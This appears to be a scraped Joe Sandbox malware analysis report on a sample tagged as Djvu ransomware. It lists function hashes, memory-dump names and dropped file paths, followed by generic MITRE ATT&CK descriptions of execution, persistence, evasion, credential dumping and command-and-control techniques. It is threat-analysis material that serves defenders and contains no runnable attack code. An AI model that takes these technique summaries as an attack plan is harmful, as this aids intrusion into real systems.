API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 071899a1ec40e58124afefb64c3ca946a609d82b36fd57056892d0f11dd476bc
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 071899a1ec40e58124afefb64c3ca946a609d82b36fd57056892d0f11dd476bc
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 1dd0bcc786bd9354787a1f3cd336883f869f594dd0932d9161717ffb1dcc9abd
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 1dd0bcc786bd9354787a1f3cd336883f869f594dd0932d9161717ffb1dcc9abd
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report g0Zq7nJjus.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKEGIIJD

C:\ProgramData\CGIJKJJKEBGHJKFIDGCA

C:\ProgramData\DBFHCGCG

C:\ProgramData\FHJKKECF

C:\ProgramData\FHJKKECFIECAKECAFBGCAFHDHJ

C:\ProgramData\HDBGDHDAECBGDHJKFIDG

C:\ProgramData\IIDHJDGCGDAAKEBGDBKFIIIIEC

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.cdqw (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.cdqw (copy)

Windows Analysis Report
g0Zq7nJjus.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre